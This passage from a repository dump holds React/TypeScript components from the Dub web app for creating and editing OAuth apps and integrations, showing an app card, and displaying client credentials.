setShowOAuthAppCreatedModal } =\n    useOAuthAppCreatedModal({\n      oAuthApp: createdAppData,\n    });\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"oauth_apps.write\",\n    role,\n  });\n\n  const formRef = useRef<HTMLFormElement>(null);\n  const { handleKeyDown } = useEnterSubmit(formRef);\n\n  useEffect(() => {\n    if (oAuthApp) {\n      return;\n    }\n\n    setData((prev) => ({\n      ...prev,\n      slug: slugify(prev.name),\n    }));\n  }, [data.name, oAuthApp]);\n\n  useEffect(() => {\n    if (oAuthApp) {\n      setUrls(oAuthApp.redirectUris.map((u) => ({ id: nanoid(), value: u })));\n\n      setScreenshots(\n        (oAuthApp.screenshots || []).map((s) => ({\n          uploading: false,\n          key: s,\n        })),\n      );\n    }\n  }, [oAuthApp]);\n\n  // Determine the endpoint\n  const endpoint = useMemo(() => {\n    if (oAuthApp) {\n      return {\n        method: \"PATCH\",\n        url: `/api/oauth/apps/${oAuthApp.id}?workspaceId=${workspaceId}`,\n        successMessage: \"Application updated!\",\n      };\n    } else {\n      return {\n        method: \"POST\",\n        url: `/api/oauth/apps?workspaceId=${workspaceId}`,\n        successMessage: \"Application created!\",\n      };\n    }\n  }, [oAuthApp]);\n\n  // Save the form data\n  const onSubmit = async (e: FormEvent) => {\n    e.preventDefault();\n    setSaving(true);\n\n    const response = await fetch(endpoint.url, {\n      method: endpoint.method,\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        ...data,\n        screenshots: screenshots.map((s) => s.key),\n        redirectUris: urls.map((u) => u.value),\n      }),\n    });\n\n    setSaving(false);\n    const result = await response.json();\n\n    if (response.ok) {\n      mutate(`/api/oauth/apps/${result.id}?workspaceId=${workspaceId}`, result);\n      toast.success(endpoint.successMessage);\n\n      if (endpoint.method === \"POST\") {\n        if (result.clientSecret) {\n          setCreatedAppData(result);\n          setShowOAuthAppCreatedModal(true);\n        } else {\n          router.push(`/${workspaceSlug}/settings/oauth-apps/${result.id}`);\n        }\n      }\n    } else {\n      toast.error(result.error.message);\n    }\n  };\n\n  // Handle screenshots upload\n  const handleUpload = async (file: File) => {\n    setScreenshots((prev) => [...prev, { file, uploading: true }]);\n\n    const response = await fetch(`/api/workspaces/${workspaceId}/upload-url`, {\n      method: \"POST\",\n      body: JSON.stringify({\n        folder: \"integration-screenshots\",\n      }),\n    });\n\n    if (!response.ok) {\n      toast.error(\"Failed to get signed URL for screenshot upload.\");\n      return;\n    }\n\n    const { signedUrl, key } = await response.json();\n\n    const uploadResponse = await fetch(signedUrl, {\n      method: \"PUT\",\n      body: file,\n      headers: {\n        \"Content-Type\": file.type,\n        \"Content-Length\": file.size.toString(),\n      },\n    });\n\n    if (!uploadResponse.ok) {\n      const result = await uploadResponse.json();\n      toast.error(result.error.message || \"Failed to upload screenshot.\");\n      return;\n    }\n\n    toast.success(`${file.name} uploaded!`);\n    setScreenshots((prev) =>\n      prev.map((screenshot) =>\n        screenshot.file === file\n          ? { ...screenshot, uploading: false, key }\n          : screenshot,\n      ),\n    );\n  };\n\n  const {\n    name,\n    slug,\n    description,\n    readme,\n    developer,\n    website,\n    redirectUris,\n    logo,\n    pkce,\n    installUrl,\n  } = data;\n\n  const buttonDisabled =\n    !name || !slug || !developer || !website || !redirectUris;\n  const uploading = screenshots.some((s) => s.uploading);\n  const canManageApp = !permissionsError;\n\n  return (\n    <>\n      <OAuthAppCreatedModal />\n      <form\n        ref={formRef}\n        onSubmit={onSubmit}\n        className=\"flex flex-col space-y-5 pb-20 text-left\"\n      >\n        <div>\n          <FileUpload\n            accept=\"images\"\n            className=\"h-24 w-24 rounded-full border border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            readFile\n            imageSrc={\n              logo ||\n              `https://api.dicebear.com/7.x/shapes/svg?seed=${oAuthApp?.clientId}`\n            }\n            onChange={({ src }) => setData({ ...data, logo: src })}\n            content={null}\n            maxFileSizeMB={2}\n            disabled={!canManageApp}\n          />\n        </div>\n\n        <div>\n          <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Application name\n            </h2>\n            <InfoTooltip content=\"Application name will be displayed in the OAuth consent screen\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={name}\n              onChange={(e) => setData({ ...data, name: e.target.value })}\n              autoFocus\n              autoComplete=\"off\"\n              placeholder=\"My App\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Application slug\n            </h2>\n            <InfoTooltip content=\"Unique slug for this application on Dub\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={slug}\n              onChange={(e) => setData({ ...data, slug: e.target.value })}\n              autoComplete=\"off\"\n              placeholder=\"my-app\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Description\n            </h2>\n            <InfoTooltip content=\"Description of your application\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <TextareaAutosize\n              name=\"description\"\n              minRows={2}\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              placeholder=\"Add a description\"\n              value={description || \"\"}\n              maxLength={120}\n              onChange={(e) => {\n                setData({ ...data, description: e.target.value });\n              }}\n              onKeyDown={handleKeyDown}\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">Overview</h2>\n            <InfoTooltip content=\"Provide some details about your integration. This will be displayed on the integration page. Markdown is supported.\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <RichTextProvider\n              editable={canManageApp}\n              features={[\"headings\", \"bold\", \"italic\", \"links\"]}\n              style=\"relaxed\"\n              markdown\n              placeholder=\"Provide details about the application\"\n              editorClassName=\"block max-h-64 min-h-32 overflow-auto scrollbar-hide w-full resize-none border-none p-3 text-base sm:text-sm\"\n              initialValue={readme || \"\"}\n              onChange={(editor) =>\n                setData({\n                  ...data,\n                  readme: (editor as any).getMarkdown() || null,\n                })\n              }\n            >\n              <div\n                className={cn(\n                  \"border-border-subtle overflow-hidden rounded-md border shadow-sm focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n                  !canManageApp && \"cursor-not-allowed bg-neutral-50\",\n                )}\n              >\n                <div className=\"flex flex-col\">\n                  <RichTextArea />\n                  <RichTextToolbar className=\"px-1 pb-1\" />\n                </div>\n              </div>\n            </RichTextProvider>\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Screenshots\n            </h2>\n            <InfoTooltip content=\"You can upload up to 4 screenshots that will be displayed on the integration page.\" />\n          </label>\n          <Reorder.Group\n            axis=\"y\"\n            values={screenshots}\n            onReorder={setScreenshots}\n            className=\"mt-2 grid w-full gap-2\"\n          >\n            {screenshots.map((screenshot) => (\n              <Reorder.Item\n                key={screenshot.key}\n                value={screenshot}\n                className=\"group flex w-full items-center justify-between rounded-md border border-neutral-200 bg-white transition-shadow hover:cursor-grab active:cursor-grabbing active:shadow-lg\"\n              >\n                <div className=\"flex flex-1 items-center space-x-2 p-2\">\n                  {screenshot.uploading ? (\n                    <LoadingSpinner className=\"h-4 w-4\" />\n                  ) : (\n                    <Paperclip className=\"h-4 w-4 text-neutral-500\" />\n                  )}\n                  <p className=\"text-center text-sm text-neutral-500\">\n                    {screenshot.file?.name || screenshot.key}\n                  </p>\n                </div>\n                <button\n                  disabled={!canManageApp}\n                  className=\"h-full rounded-r-md border-l border-neutral-200 p-2\"\n                  onClick={() => {\n                    setScreenshots((prev) =>\n                      prev.filter((s) => s.key !== screenshot.key),\n                    );\n                  }}\n                >\n                  <Trash2 className=\"h-4 w-4 text-neutral-500\" />\n                </button>\n              </Reorder.Item>\n            ))}\n          </Reorder.Group>\n\n          <FileUpload\n            accept=\"images\"\n            className=\"mt-2 aspect-[5/1] w-full rounded-md border border-dashed border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            onChange={async ({ file }) => await handleUpload(file)}\n            content=\"Drag and drop or click to upload screenshots\"\n            disabled={!canManageApp || screenshots.length >= 4}\n            maxFileSizeMB={2}\n          />\n        </div>\n\n        <div>\n          <label htmlFor=\"developer\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Developer name\n            </h2>\n            <InfoTooltip content=\"The person or company developing this application\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={developer}\n              onChange={(e) => setData({ ...data, developer: e.target.value })}\n              placeholder=\"Acme Inc.\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"website\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Website URL\n            </h2>\n            <InfoTooltip content=\"URL to the developer's website or documentation\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              type=\"url\"\n              required\n              value={website}\n              onChange={(e) => setData({ ...data, website: e.target.value })}\n              placeholder=\"https://acme.com\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"installUrl\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Install URL\n            </h2>\n            <InfoTooltip content=\"An optional URL for installing the application\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              type=\"url\"\n              value={installUrl || \"\"}\n              onChange={(e) =>\n                setData({\n                  ...data,\n                  installUrl: e.target.value ? e.target.value : null,\n                })\n              }\n              placeholder=\"https://acme.com/install\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <div className=\"flex items-center justify-between\">\n            <label\n              htmlFor=\"redirectUris\"\n              className=\"flex items-center space-x-2\"\n            >\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                Callback URLs\n              </h2>\n              <InfoTooltip content=\"All OAuth redirect URLs, All URLs must use HTTPS, except for localhost.\" />\n            </label>\n            <Button\n              text=\"Add Callback URL\"\n              variant=\"secondary\"\n              className=\"h-7 w-fit px-2.5 py-1 text-xs\"\n              onClick={() => setUrls([...urls, { id: nanoid(), value: \"\" }])}\n              disabled={!canManageApp}\n            />\n          </div>\n\n          <div className=\"relative mt-2\">\n            <div className=\"flex flex-col space-y-2\">\n              {urls.map((url) => (\n                <div className=\"flex flex-col space-y-2\" key={url.id}>\n                  <div className=\"grid gap-2 text-sm md:grid md:grid-cols-12\">\n                    <div className=\"col-span-12\">\n                      <div>\n                        <div className=\"relative\">\n                          <input\n                            type=\"url\"\n                            placeholder=\"https://acme.com/oauth/callback\"\n                            value={url.value}\n                            onChange={(e) => {\n                              setUrls(\n                                urls.map((u) =>\n                                  u.id === url.id\n                                    ? { ...u, value: e.target.value }\n                                    : u,\n                                ),\n                              );\n                            }}\n                            className={cn(\n                              \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                              {\n                                \"cursor-not-allowed bg-neutral-50\":\n                                  !canManageApp,\n                              },\n                            )}\n                            disabled={!canManageApp}\n                          />\n\n                          {urls.length > 1 && (\n                            <div className=\"absolute inset-y-0 right-0 flex items-center space-x-1 pl-3 pr-1\">\n                              <Button\n                                type=\"button\"\n                                variant=\"outline\"\n                                text=\"Remove\"\n                                onClick={() => {\n                                  const newUrls = urls.filter(\n                                    (u) => u.id !== url.id,\n                                  );\n\n                                  if (newUrls.length === 0) {\n                                    newUrls.push({ id: nanoid(), value: \"\" });\n                                  }\n\n                                  setUrls(newUrls);\n                                }}\n                                className=\"h-[26px] border-neutral-300 px-2.5 py-1 text-xs text-red-500 hover:bg-neutral-50\"\n                                disabled={!canManageApp}\n                              />\n                            </div>\n                          )}\n                        </div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n              ))}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-between pb-4 pt-2\">\n          <label htmlFor=\"pkce\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">Allow PKCE</h2>\n            <InfoTooltip content=\"We strongly recommend using the PKCE flow for increased security. Make sure your application supports it.\" />\n          </label>\n          <Switch\n            checked={pkce}\n            fn={(value: boolean) => {\n              setData({ ...data, pkce: value });\n            }}\n            disabled={!canManageApp}\n          />\n        </div>\n\n        <Button\n          text={oAuthApp ? \"Save changes\" : \"Create\"}\n          disabled={buttonDisabled || uploading}\n          loading={saving}\n          type=\"submit\"\n          {...(permissionsError && {\n            disabledTooltip: permissionsError,\n          })}\n        />\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/oauth-apps/add-edit-integration-form.tsx",
    "content": "\"use client\";\n\nimport { addEditIntegration } from \"@/lib/actions/add-edit-integration\";\nimport { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { NewOrExistingIntegration } from \"@/lib/types\";\nimport {\n  Button,\n  FileUpload,\n  InfoTooltip,\n  LoadingSpinner,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  useEnterSubmit,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { Paperclip, Trash2 } from \"lucide-react\";\nimport { Reorder } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useRef, useState } from \"react\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\n\nexport default function AddEditIntegrationForm({\n  integration,\n}: {\n  integration: NewOrExistingIntegration;\n}) {\n  const { id: workspaceId, role } = useWorkspace();\n  const formRef = useRef<HTMLFormElement>(null);\n  const { handleKeyDown } = useEnterSubmit(formRef);\n  const [screenshots, setScreenshots] = useState<\n    {\n      file?: File;\n      key?: string;\n      uploading: boolean;\n    }[]\n  >(\n    (integration.screenshots || []).map((s) => ({\n      uploading: false,\n      key: s,\n    })),\n  );\n\n  const [data, setData] = useState<NewOrExistingIntegration>(integration);\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"oauth_apps.write\",\n    role,\n  });\n\n  useEffect(() => {\n    if (!integration.slug) {\n      setData((prev) => ({\n        ...prev,\n        slug: slugify(name),\n      }));\n    }\n  }, [integration.slug]);\n\n  // Handle screenshots upload\n  const handleUpload = async (file: File) => {\n    setScreenshots((prev) => [...prev, { file, uploading: true }]);\n\n    const response = await fetch(`/api/workspaces/${workspaceId}/upload-url`, {\n      method: \"POST\",\n      body: JSON.stringify({\n        folder: \"integration-screenshots\",\n      }),\n    });\n\n    if (!response.ok) {\n      toast.error(\"Failed to get signed URL for screenshot upload.\");\n      return;\n    }\n\n    const { signedUrl, key } = await response.json();\n\n    const uploadResponse = await fetch(signedUrl, {\n      method: \"PUT\",\n      body: file,\n      headers: {\n        \"Content-Type\": file.type,\n        \"Content-Length\": file.size.toString(),\n      },\n    });\n\n    if (!uploadResponse.ok) {\n      const result = await uploadResponse.json();\n      toast.error(result.error.message || \"Failed to upload screenshot.\");\n      return;\n    }\n\n    toast.success(`${file.name} uploaded!`);\n    setScreenshots((prev) =>\n      prev.map((screenshot) =>\n        screenshot.file === file\n          ? { ...screenshot, uploading: false, key }\n          : screenshot,\n      ),\n    );\n  };\n\n  const { name, slug, description, readme, developer, website, logo } = data;\n\n  const buttonDisabled = !name || !slug || !developer || !website;\n  const uploading = screenshots.some((s) => s.uploading);\n  const canManageApp = !permissionsError;\n\n  const { executeAsync, isPending } = useAction(addEditIntegration, {\n    onSuccess: () => {\n      toast.success(`Integration ${integration.id ? \"updated\" : \"created\"}`);\n    },\n    onError: ({ error }) => {\n      toast.error(\n        error.validationErrors?.[0]?.message || \"Failed to update integration\",\n      );\n    },\n  });\n\n  return (\n    <>\n      <form\n        ref={formRef}\n        onSubmit={async (e) => {\n          e.preventDefault();\n          await executeAsync({\n            ...data,\n            screenshots: screenshots\n              .map((s) => s.key)\n              .filter(Boolean) as string[],\n            workspaceId: normalizeWorkspaceId(workspaceId!),\n          });\n        }}\n        className=\"flex flex-col space-y-5 pb-20 text-left\"\n      >\n        <div>\n          <FileUpload\n            accept=\"images\"\n            className=\"h-24 w-24 rounded-full border border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            readFile\n            imageSrc={\n              logo ||\n              `https://api.dicebear.com/7.x/shapes/svg?seed=${integration.slug}`\n            }\n            onChange={({ src }) => setData({ ...data, logo: src })}\n            content={null}\n            maxFileSizeMB={2}\n            disabled={!canManageApp}\n          />\n        </div>\n\n        <div>\n          <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Application name\n            </h2>\n            <InfoTooltip content=\"Application name will be displayed in the OAuth consent screen\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={name}\n              onChange={(e) => setData({ ...data, name: e.target.value })}\n              autoFocus\n              autoComplete=\"off\"\n              placeholder=\"My App\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Application slug\n            </h2>\n            <InfoTooltip content=\"Unique slug for this application on Dub\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={slug}\n              onChange={(e) => setData({ ...data, slug: e.target.value })}\n              autoComplete=\"off\"\n              placeholder=\"my-app\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Description\n            </h2>\n            <InfoTooltip content=\"Description of your application\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <TextareaAutosize\n              name=\"description\"\n              minRows={2}\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              placeholder=\"Add a description\"\n              value={description || \"\"}\n              maxLength={120}\n              onChange={(e) => {\n                setData({ ...data, description: e.target.value });\n              }}\n              onKeyDown={handleKeyDown}\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">Overview</h2>\n            <InfoTooltip content=\"Provide some details about your integration. This will be displayed on the integration page. Markdown is supported.\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <RichTextProvider\n              editable={canManageApp}\n              features={[\"headings\", \"bold\", \"italic\", \"links\"]}\n              style=\"relaxed\"\n              markdown\n              placeholder=\"Provide details about the integration\"\n              editorClassName=\"block max-h-64 min-h-32 overflow-auto scrollbar-hide w-full resize-none border-none p-3 text-base sm:text-sm\"\n              initialValue={readme || \"\"}\n              onChange={(editor) =>\n                setData({\n                  ...data,\n                  readme: (editor as any).getMarkdown() || null,\n                })\n              }\n            >\n              <div\n                className={cn(\n                  \"border-border-subtle overflow-hidden rounded-md border border-neutral-300 shadow-sm focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n                  !canManageApp && \"cursor-not-allowed bg-neutral-50\",\n                )}\n              >\n                <div className=\"flex flex-col\">\n                  <RichTextArea />\n                  <RichTextToolbar className=\"px-1 pb-1\" />\n                </div>\n              </div>\n            </RichTextProvider>\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"slug\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Screenshots\n            </h2>\n            <InfoTooltip content=\"You can upload up to 4 screenshots that will be displayed on the integration page.\" />\n          </label>\n          <Reorder.Group\n            axis=\"y\"\n            values={screenshots}\n            onReorder={setScreenshots}\n            className=\"mt-2 grid w-full gap-2\"\n          >\n            {screenshots.map((screenshot) => (\n              <Reorder.Item\n                key={screenshot.key}\n                value={screenshot}\n                className=\"group flex w-full items-center justify-between rounded-md border border-neutral-200 bg-white transition-shadow hover:cursor-grab active:cursor-grabbing active:shadow-lg\"\n              >\n                <div className=\"flex flex-1 items-center space-x-2 p-2\">\n                  {screenshot.uploading ? (\n                    <LoadingSpinner className=\"h-4 w-4\" />\n                  ) : (\n                    <Paperclip className=\"h-4 w-4 text-neutral-500\" />\n                  )}\n                  <p className=\"text-center text-sm text-neutral-500\">\n                    {screenshot.file?.name || screenshot.key}\n                  </p>\n                </div>\n                <button\n                  disabled={!canManageApp}\n                  className=\"h-full rounded-r-md border-l border-neutral-200 p-2\"\n                  onClick={() => {\n                    setScreenshots((prev) =>\n                      prev.filter((s) => s.key !== screenshot.key),\n                    );\n                  }}\n                >\n                  <Trash2 className=\"h-4 w-4 text-neutral-500\" />\n                </button>\n              </Reorder.Item>\n            ))}\n          </Reorder.Group>\n\n          <FileUpload\n            accept=\"images\"\n            className=\"mt-2 aspect-[5/1] w-full rounded-md border border-dashed border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            onChange={async ({ file }) => await handleUpload(file)}\n            content=\"Drag and drop or click to upload screenshots\"\n            disabled={!canManageApp || screenshots.length >= 4}\n            maxFileSizeMB={2}\n          />\n        </div>\n\n        <div>\n          <label htmlFor=\"developer\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Developer name\n            </h2>\n            <InfoTooltip content=\"The person or company developing this application\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              required\n              value={developer}\n              onChange={(e) => setData({ ...data, developer: e.target.value })}\n              placeholder=\"Acme Inc.\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"website\" className=\"flex items-center space-x-2\">\n            <h2 className=\"text-sm font-medium text-neutral-900\">\n              Website URL\n            </h2>\n            <InfoTooltip content=\"URL to the developer's website or documentation\" />\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              className={cn(\n                \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                {\n                  \"cursor-not-allowed bg-neutral-50\": !canManageApp,\n                },\n              )}\n              type=\"url\"\n              required\n              value={website}\n              onChange={(e) => setData({ ...data, website: e.target.value })}\n              placeholder=\"https://acme.com\"\n              disabled={!canManageApp}\n            />\n          </div>\n        </div>\n\n        <Button\n          text={integration.id ? \"Save changes\" : \"Create\"}\n          disabled={buttonDisabled || uploading || isPending}\n          loading={isPending}\n          type=\"submit\"\n          {...(permissionsError && {\n            disabledTooltip: permissionsError,\n          })}\n        />\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/oauth-apps/oauth-app-card.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppProps } from \"@/lib/types\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { BlurImage } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport Link from \"next/link\";\n\nexport default function OAuthAppCard(oAuthApp: OAuthAppProps) {\n  const { slug } = useWorkspace();\n\n  return (\n    <Link\n      href={`/${slug}/settings/oauth-apps/${oAuthApp.id}`}\n      className=\"hover:drop-shadow-card-hover relative rounded-xl border border-neutral-200 bg-white px-5 py-4 transition-[filter]\"\n    >\n      <div className=\"flex items-center gap-x-3\">\n        <div className=\"rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2.5\">\n          {oAuthApp.logo ? (\n            <BlurImage\n              src={oAuthApp.logo}\n              alt={`Logo for ${oAuthApp.name}`}\n              className=\"size-6 rounded-full\"\n              width={20}\n              height={20}\n            />\n          ) : (\n            <TokenAvatar id={oAuthApp.clientId} className=\"size-6\" />\n          )}\n        </div>\n        <div>\n          <p className=\"font-semibold text-neutral-700\">{oAuthApp.name}</p>\n          <div className=\"flex items-center gap-1 text-sm text-neutral-500\">\n            Last updated\n            <span className=\"font-medium text-neutral-700\">\n              {formatDate(oAuthApp.updatedAt, { year: undefined })}\n            </span>\n          </div>\n        </div>\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/oauth-apps/oauth-app-credentials.tsx",
    "content": "\"use client\";\n\nimport { CopyButton } from \"@dub/ui\";\n\nexport default function OAuthAppCredentials({\n  clientId,\n  clientSecret,\n  partialClientSecret,\n}: {\n  clientId: string;\n  clientSecret: string | null;\n  partialClientSecret: string;\n}) {\n  if (!clientId) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex flex-col space-y-3 text-left\">\n      <div className=\"space-y-2\">\n        <label className=\"text-sm font-medium text-neutral-500\">\n          Client ID\n        </label>\n        <div className=\"grid grid-cols-[1fr,auto] items-center gap-2 rounded-md border border-neutral-300 bg-white p-3\">\n          <p className=\"truncate font-mono text-sm text-neutral-500\">\n            {clientId}\n          </p>\n          <CopyButton value={clientId} className=\"rounded-md\" />\n        </div>\n      </div>\n\n      {clientSecret && (\n        <div className=\"space-y-2\">\n          <label className=\"text-sm font-medium text-neutral-500\">\n            Client Secret\n          </label>\n          <div className=\"flex items-center justify-between rounded-md border border-neutral-300 bg-white p-3\">\n            <p className=\"text-nowrap font-mono text-sm text-neutral-500\">\n              {clientSecret}\n            </p>\n            <div className=\"flex flex-col gap-2\">\n              <CopyButton value={clientSecret} className=\"rounded-md\" />\n            </div>\n          </div>\n          <span className=\"text-xs text-red-400\">\n            Be sure to copy your client secret. You won’t be able to see it\n            again.\n          </span>\n        </div>\n      )}\n\n      {!clientSecret && partialClientSecret && (\n        <div className=\"space-y-2\">\n          <label className=\"text-sm font-medium text-neutral-500\">\n            Client Secret\n          </label>\n          <div className=\"flex items-center justify-between rounded-md border border-neutral-300 bg-white p-3\">\n            <p className=\"text-nowrap font-mono text-sm text-neutral-500\">\n              {partialClientSecret}\n            </p>\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/oauth-apps/oauth-app-placeholder.tsx",
